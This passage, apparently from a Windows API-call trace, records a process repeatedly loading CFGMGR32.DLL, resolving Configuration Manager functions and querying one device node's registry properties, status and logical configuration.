lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.697] malloc (_Size=0x18) returned 0x20abc281ae0 [0211.698] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0211.704] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39f41e5e, dwHighDateTime=0x1d9eb0c)) [0211.704] SetEvent (hEvent=0x248) returned 1 [0211.708] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.708] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.712] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.712] malloc (_Size=0x18) returned 0x20abc281f60 [0211.713] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0211.713] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39f41e5e, dwHighDateTime=0x1d9eb0c)) [0211.714] SetEvent (hEvent=0x248) returned 1 [0211.718] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.718] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.719] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.720] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.721] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.722] malloc (_Size=0x18) returned 0x20abc281be0 [0211.722] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0211.723] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x39f68213, dwHighDateTime=0x1d9eb0c)) [0211.723] SetEvent (hEvent=0x248) returned 1 [0211.815] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.843] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.846] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.846] malloc (_Size=0x18) returned 0x20abc281fe0 [0211.846] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0211.847] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a09948d, dwHighDateTime=0x1d9eb0c)) [0211.847] SetEvent (hEvent=0x248) returned 1 [0211.852] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.852] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.855] malloc (_Size=0x18) returned 0x20abc281960 [0211.855] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0211.859] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a0bf580, dwHighDateTime=0x1d9eb0c)) [0211.860] SetEvent (hEvent=0x248) returned 1 [0211.864] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.864] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.867] malloc (_Size=0x18) returned 0x20abc281e00 [0211.867] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x32, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0211.868] malloc (_Size=0x48) returned 0x20abc27cb20 [0211.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3a0bf580, dwHighDateTime=0x1d9eb0c)) [0211.868] SetEvent (hEvent=0x248) returned 1 [0211.873] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.873] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.876] malloc (_Size=0x18) returned 0x20abc281fc0 [0211.876] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x32, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0211.877] malloc (_Size=0x48) returned 0x20abc27cf80 [0211.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3a0e5d29, dwHighDateTime=0x1d9eb0c)) [0211.877] SetEvent (hEvent=0x248) returned 1 [0211.880] malloc (_Size=0xd8) returned 0x20abc2867b0 [0211.880] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0211.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0211.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0211.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0211.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0211.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0211.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0211.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0211.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0211.882] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0211.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0211.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0211.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0211.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0211.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0211.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0211.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0211.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0211.884] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0211.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0211.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0211.885] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0211.886] malloc (_Size=0x18) returned 0x20abc281e00 [0211.886] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0211.886] malloc (_Size=0x48) returned 0x20abc27cf80 [0211.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3a0e5d29, dwHighDateTime=0x1d9eb0c)) [0211.887] SetEvent (hEvent=0x248) returned 1 [0212.026] malloc (_Size=0xd8) returned 0x20abc2867b0 [0212.026] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0212.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0212.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0212.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0212.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0212.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0212.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0212.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0212.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0212.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0212.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0212.028] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 